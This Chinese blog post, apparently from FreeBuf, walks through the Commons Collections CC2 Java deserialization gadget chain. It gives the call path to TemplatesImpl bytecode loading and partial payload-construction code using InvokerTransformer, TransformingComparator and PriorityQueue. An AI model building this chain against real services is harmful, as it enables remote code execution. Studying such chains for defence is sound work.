java安全-CC2
环境部分没什么好说的,这个链主要是简单修改了 CC4 的 transform 方法类逻辑
一、主要逻辑
1.invokeTransformer
CC4的入口类PriorityQueue被保留下来
入口逻辑对比CC4
PriorityQueue#readObject
PriorityQueue#heapify
PriorityQueue#siftDown
PriorityQueue#siftDownUsingComparator
TransformingComparator#compare
CC3部分
ChainedTransformer#transform
InstantiateTransformer#transform
TrAXFilter#getConstructor
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
加载恶意字节码
CC2只是对其中的CC3部分做出了改变,直接跳过中间步骤,使用invokeTransformer调用TemplatesImpl#newTransformer方法
Transformer invokeTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
进而调用TransformingComparator#compare时,直接调用的InvokerTransformer#transform方法
Transformer invokeTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);
//添加两个元素
queue.add(1);
queue.add(1);
setFieldValue(comparator, "transformer", invokeTransformer);
老样子,为了防止生成恶意代码时 add 方法起火,我们通过反射最后修改 transformer
2.queue.add(1)
这个方法大有用处,在调用TransformingComparator#compare时,直接调用的InvokerTransformer#transform方法时,这里transform方法的参数就是我们传进去的1
在之前的链路逻辑中,使用了 ConstantTransformer 这个来控制这个参数,但是这条链为了避免数组的使用,所以没有使用 ChainedTransformer 包装恶意类,而是直接传 InvokerTransformer 类,因此,我们这里传参需要为,恶意类 TemplatesImpl
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)

